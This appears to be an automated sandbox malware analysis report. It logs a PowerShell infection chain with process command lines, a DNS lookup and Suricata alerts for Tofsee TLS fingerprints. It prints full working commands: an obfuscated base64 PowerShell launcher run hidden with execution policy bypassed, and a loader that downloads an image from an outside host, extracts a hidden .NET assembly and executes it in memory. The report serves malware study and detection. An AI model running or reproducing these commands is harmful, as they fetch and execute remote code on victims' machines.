Category | Machine | Started | Completed |
---|---|---|---|
FILE | s1_win7_x6401 | Oct. 23, 2023, 1:12 p.m. | Oct. 23, 2023, 1:14 p.m. |
-
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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ZQSeUGEvAbfwTjZQSeUbgBkvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBJvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBlvAbfwTjZQSeUHgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUtvAbfwTjZQSeUGcvAbfwTjZQSeUdvAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEkvAbfwTjZQSeUbgBkvAbfwTjZQSeUGUvAbfwTjZQSeUevAbfwTjZQSeUvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEkvAbfwTjZQSeUbgBkvAbfwTjZQSeUGUvAbfwTjZQSeUevAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCsvAbfwTjZQSeUPQvAbfwTjZQSeUgvAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEYvAbfwTjZQSeUbvAbfwTjZQSeUBhvAbfwTjZQSeUGcvAbfwTjZQSeULgBMvAbfwTjZQSeUGUvAbfwTjZQSeUbgBnvAbfwTjZQSeUHQvAbfwTjZQSeUavAbfwTjZQSeUvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUYgBhvAbfwTjZQSeUHMvAbfwTjZQSeUZQvAbfwTjZQSeU2vAbfwTjZQSeUDQvAbfwTjZQSeUTvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZwB0vAbfwTjZQSeUGgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeU9vAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBJvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBlvAbfwTjZQSeUHgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUtvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJvAbfwTjZQSeUBzvAbfwTjZQSeUHQvAbfwTjZQSeUYQByvAbfwTjZQSeUHQvAbfwTjZQSeUSQBuvAbfwTjZQSeUGQvAbfwTjZQSeUZQB4vAbfwTjZQSeUDsvAbfwTjZQSeUJvAbfwTjZQSeUBivAbfwTjZQSeUGEvAbfwTjZQSeUcwBlvAbfwTjZQSeUDYvAbfwTjZQSeUNvAbfwTjZQSeUBDvAbfwTjZQSeUG8vAbfwTjZQSeUbQBtvAbfwTjZQSeUGEvAbfwTjZQSeUbgBkvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUPQvAbfwTjZQSeUgvAbfwTjZQSeUCQvAbfwTjZQSeUaQBtvAbfwTjZQSeUGEvAbfwTjZQSeUZwBlvAbfwTjZQSeUFQvAbfwTjZQSeUZQB4vAbfwTjZQSeUHQvAbfwTjZQSeULgBTvAbfwTjZQSeUHUvAbfwTjZQSeUYgBzvAbfwTjZQSeUHQvAbfwTjZQSeUcgBpvAbfwTjZQSeUG4vAbfwTjZQSeUZwvAbfwTjZQSeUovAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEkvAbfwTjZQSeUbgBkvAbfwTjZQSeUGUvAbfwTjZQSeUevAbfwTjZQSeUvAbfwTjZQSeUsvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJvAbfwTjZQSeUBivAbfwTjZQSeUGEvAbfwTjZQSeUcwBlvAbfwTjZQSeUDYvAbfwTjZQSeUNvAbfwTjZQSeUBMvAbfwTjZQSeUGUvAbfwTjZQSeUbgBnvAbfwTjZQSeUHQvAbfwTjZQSeUavAbfwTjZQSeUvAbfwTjZQSeUpvAbfwTjZQSeUDsvAbfwTjZQSeUJvAbfwTjZQSeUBjvAbfwTjZQSeUG8vAbfwTjZQSeUbQBtvAbfwTjZQSeUGEvAbfwTjZQSeUbgBkvAbfwTjZQSeUEIvAbfwTjZQSeUeQB0vAbfwTjZQSeUGUvAbfwTjZQSeUcwvAbfwTjZQSeUgvAbfwTjZQSeUD0vAbfwTjZQSeUIvAbfwTjZQSeUBbvAbfwTjZQSeUFMvAbfwTjZQSeUeQBzvAbfwTjZQSeUHQvAbfwTjZQSeUZQBtvAbfwTjZQSeUC4vAbfwTjZQSeUQwBvvAbfwTjZQSeUG4vAbfwTjZQSeUdgBlvAbfwTjZQSeUHIvAbfwTjZQSeUdvAbfwTjZQSeUBdvAbfwTjZQSeUDovAbfwTjZQSeUOgBGvAbfwTjZQSeUHIvAbfwTjZQSeUbwBtvAbfwTjZQSeUEIvAbfwTjZQSeUYQBzvAbfwTjZQSeUGUvAbfwTjZQSeUNgvAbfwTjZQSeU0vAbfwTjZQSeUFMvAbfwTjZQSeUdvAbfwTjZQSeUByvAbfwTjZQSeUGkvAbfwTjZQSeUbgBnvAbfwTjZQSeUCgvAbfwTjZQSeUJvAbfwTjZQSeUBivAbfwTjZQSeUGEvAbfwTjZQSeUcwBlvAbfwTjZQSeUDYvAbfwTjZQSeUNvAbfwTjZQSeUBDvAbfwTjZQSeUG8vAbfwTjZQSeUbQBtvAbfwTjZQSeUGEvAbfwTjZQSeUbgBkvAbfwTjZQSeUCkvAbfwTjZQSeUOwvAbfwTjZQSeUkvAbfwTjZQSeUGwvAbfwTjZQSeUbwBhvAbfwTjZQSeUGQvAbfwTjZQSeUZQBkvAbfwTjZQSeUEEvAbfwTjZQSeUcwBzvAbfwTjZQSeUGUvAbfwTjZQSeUbQBivAbfwTjZQSeUGwvAbfwTjZQSeUeQvAbfwTjZQSeUgvAbfwTjZQSeUD0vAbfwTjZQSeUIvAbfwTjZQSeUBbvAbfwTjZQSeUFMvAbfwTjZQSeUeQBzvAbfwTjZQSeUHQvAbfwTjZQSeUZQBtvAbfwTjZQSeUC4vAbfwTjZQSeUUgBlvAbfwTjZQSeUGYvAbfwTjZQSeUbvAbfwTjZQSeUBlvAbfwTjZQSeUGMvAbfwTjZQSeUdvAbfwTjZQSeUBpvAbfwTjZQSeUG8vAbfwTjZQSeUbgvAbfwTjZQSeUuvAbfwTjZQSeUEEvAbfwTjZQSeUcwBzvAbfwTjZQSeUGUvAbfwTjZQSeUbQBivAbfwTjZQSeUGwvAbfwTjZQSeUeQBdvAbfwTjZQSeUDovAbfwTjZQSeUOgBMvAbfwTjZQSeUG8vAbfwTjZQSeUYQBkvAbfwTjZQSeUCgvAbfwTjZQSeUJvAbfwTjZQSeUBjvAbfwTjZQSeUG8vAbfwTjZQSeUbQBtvAbfwTjZQSeUGEvAbfwTjZQSeUbgBkvAbfwTjZQSeUEIvAbfwTjZQSeUeQB0vAbfwTjZQSeUGUvAbfwTjZQSeUcwvAbfwTjZQSeUpvAbfwTjZQSeUDsvAbfwTjZQSeUJvAbfwTjZQSeUB0vAbfwTjZQSeUHkvAbfwTjZQSeUcvAbfwTjZQSeUBlvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUPQvAbfwTjZQSeUgvAbfwTjZQSeUCQvAbfwTjZQSeUbvAbfwTjZQSeUBvvAbfwTjZQSeUGEvAbfwTjZQSeUZvAbfwTjZQSeUBlvAbfwTjZQSeUGQvAbfwTjZQSeUQQBzvAbfwTjZQSeUHMvAbfwTjZQSeUZQBtvAbfwTjZQSeUGIvAbfwTjZQSeUbvAbfwTjZQSeUB5vAbfwTjZQSeUC4vAbfwTjZQSeURwBlvAbfwTjZQSeUHQvAbfwTjZQSeUVvAbfwTjZQSeUB5vAbfwTjZQSeUHvAbfwTjZQSeUvAbfwTjZQSeUZQvAbfwTjZQSeUovAbfwTjZQSeUCcvAbfwTjZQSeURgBpvAbfwTjZQSeUGIvAbfwTjZQSeUZQByvAbfwTjZQSeUC4vAbfwTjZQSeUSvAbfwTjZQSeUBvvAbfwTjZQSeUG0vAbfwTjZQSeUZQvAbfwTjZQSeUnvAbfwTjZQSeUCkvAbfwTjZQSeUOwvAbfwTjZQSeUkvAbfwTjZQSeUG0vAbfwTjZQSeUZQB0vAbfwTjZQSeUGgvAbfwTjZQSeUbwBkvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUPQvAbfwTjZQSeUgvAbfwTjZQSeUCQvAbfwTjZQSeUdvAbfwTjZQSeUB5vAbfwTjZQSeUHvAbfwTjZQSeUvAbfwTjZQSeUZQvAbfwTjZQSeUuvAbfwTjZQSeUEcvAbfwTjZQSeUZQB0vAbfwTjZQSeUE0vAbfwTjZQSeUZQB0vAbfwTjZQSeUGgvAbfwTjZQSeUbwBkvAbfwTjZQSeUCgvAbfwTjZQSeUJwBWvAbfwTjZQSeUEEvAbfwTjZQSeUSQvAbfwTjZQSeUnvAbfwTjZQSeUCkvAbfwTjZQSeULgBJvAbfwTjZQSeUG4vAbfwTjZQSeUdgBvvAbfwTjZQSeUGsvAbfwTjZQSeUZQvAbfwTjZQSeUovAbfwTjZQSeUCQvAbfwTjZQSeUbgB1vAbfwTjZQSeUGwvAbfwTjZQSeUbvAbfwTjZQSeUvAbfwTjZQSeUsvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUWwBvvAbfwTjZQSeUGIvAbfwTjZQSeUagBlvAbfwTjZQSeUGMvAbfwTjZQSeUdvAbfwTjZQSeUBbvAbfwTjZQSeUF0vAbfwTjZQSeUXQvAbfwTjZQSeUgvAbfwTjZQSeUCgvAbfwTjZQSeUJwBkvAbfwTjZQSeUEgvAbfwTjZQSeUavAbfwTjZQSeUvAbfwTjZQSeUwvAbfwTjZQSeUEwvAbfwTjZQSeUbQBkvAbfwTjZQSeUHYvAbfwTjZQSeUWgBXvAbfwTjZQSeUFYvAbfwTjZQSeUbgBivAbfwTjZQSeUG0vAbfwTjZQSeUcwB2vAbfwTjZQSeUE0vAbfwTjZQSeUVvAbfwTjZQSeUBVvAbfwTjZQSeUHUvAbfwTjZQSeUTQB6vAbfwTjZQSeUE0vAbfwTjZQSeUdQBNvAbfwTjZQSeUGovAbfwTjZQSeUUQB1vAbfwTjZQSeUE0vAbfwTjZQSeUegBrvAbfwTjZQSeUHgvAbfwTjZQSeUTvAbfwTjZQSeUB5vAbfwTjZQSeUDgvAbfwTjZQSeUNgBjvAbfwTjZQSeUEgvAbfwTjZQSeUUgvAbfwTjZQSeUwvAbfwTjZQSeUGEvAbfwTjZQSeUQQvAbfwTjZQSeU9vAbfwTjZQSeUD0vAbfwTjZQSeUJwvAbfwTjZQSeUgvAbfwTjZQSeUCwvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUnvAbfwTjZQSeUGQvAbfwTjZQSeUZgBkvAbfwTjZQSeUGYvAbfwTjZQSeUZvAbfwTjZQSeUvAbfwTjZQSeUnvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeULvAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCcvAbfwTjZQSeUZvAbfwTjZQSeUBmvAbfwTjZQSeUGQvAbfwTjZQSeUZgvAbfwTjZQSeUnvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeULvAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCcvAbfwTjZQSeUZvAbfwTjZQSeUBmvAbfwTjZQSeUGQvAbfwTjZQSeUZgvAbfwTjZQSeUnvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeULvAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCcvAbfwTjZQSeUZvAbfwTjZQSeUBhvAbfwTjZQSeUGQvAbfwTjZQSeUcwBhvAbfwTjZQSeUCcvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUsvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJwBkvAbfwTjZQSeUGUvAbfwTjZQSeUJwvAbfwTjZQSeUgvAbfwTjZQSeUCwvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUnvAbfwTjZQSeUGMvAbfwTjZQSeUdQvAbfwTjZQSeUnvAbfwTjZQSeUCkvAbfwTjZQSeUKQvAbfwTjZQSeU=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('vAbfwTjZQSeU','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
2648-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4082989.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmdvZWVnbmsvMTUuMzMuMjQuMzkxLy86cHR0aA==' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
2768
-
-
Name | Response | Post-Analysis Lookup |
---|---|---|
wallpapercave.com | 172.67.29.26 |
Suricata Alerts
Flow | SID | Signature | Category |
---|---|---|---|
TCP 192.168.56.101:49166 -> 104.22.53.71:443 | 906200054 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
TCP 192.168.56.101:49165 -> 104.22.53.71:443 | 906200054 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
No Suricata TLS
file | C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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